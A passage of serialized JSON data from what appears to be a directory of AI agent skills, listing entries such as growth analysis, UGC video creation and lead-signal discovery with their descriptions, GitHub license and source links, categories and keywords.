enrichment.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FSKILL.md",[136],{"categoryNo":137,"categoryName":138,"taxonomyType":139,"taxonomyTypeDesc":140},"01JBSEEDCAT000000000000038","人力资源","PROFESSION","适用职业",[131,42,88,37,36,142,143,144,145,146,98,147,148,149,126,23,150,151,152,128,105,22],"email","enrichment","business","evidence","phone","ranking","post","job description","person","candidate","reason",{"skillNo":154,"name":155,"nameZh":6,"description":156,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":80,"licenseFileUrl":157,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":43},"01M6WN8R5RXSMHM9B4D9FAFX42","rea-growth","Analyze a company’s public growth and content through Treg, distinguish observations from hypotheses, and produce an evidence-linked playbook within an approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FSKILL.md",[],[161,162,163,42,88,37,164,165,36,166,118,167,168,33,145,98,169,170,128,105,22],"growth","rea","rea growth","produce","content","playbook","marketing","analyze","observations","company",{"skillNo":172,"name":173,"nameZh":6,"description":174,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":80,"licenseFileUrl":175,"sourceHtmlUrl":176,"categories":177,"keywords":178,"publishedAt":43},"01M6WN2EVE3RQRGWAKBT4S7YT2","make-ugc","Create original AI UGC-style product videos through Treg: research hooks, approve a licensed presenter and voice, generate clips, add captions and report costs.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FSKILL.md",[],[179,180,42,181,88,182,37,183,184,185,186,187,98,188,189,190,191,192,193,128],"make","make ugc","research","create","Video","Captions","ads","short","hooks","head","style","niche","trending","talking-head","approve",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":80,"licenseFileUrl":198,"sourceHtmlUrl":199,"categories":200,"keywords":201,"publishedAt":43},"01M6WN10ARAA63Y8K1YNGXJ2RM","lead-signals","Find and qualify public buying signals through Treg, rank fitting business accounts and optionally enrich authorized business contact information.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FSKILL.md",[],[202,203,204,42,88,37,205,206,144,207,208,98,209,210,211,212,213,214,215,128],"signals","lead","lead signals","how","find","ready","as","how to","qualify","people","information","enrich","changes","funding"]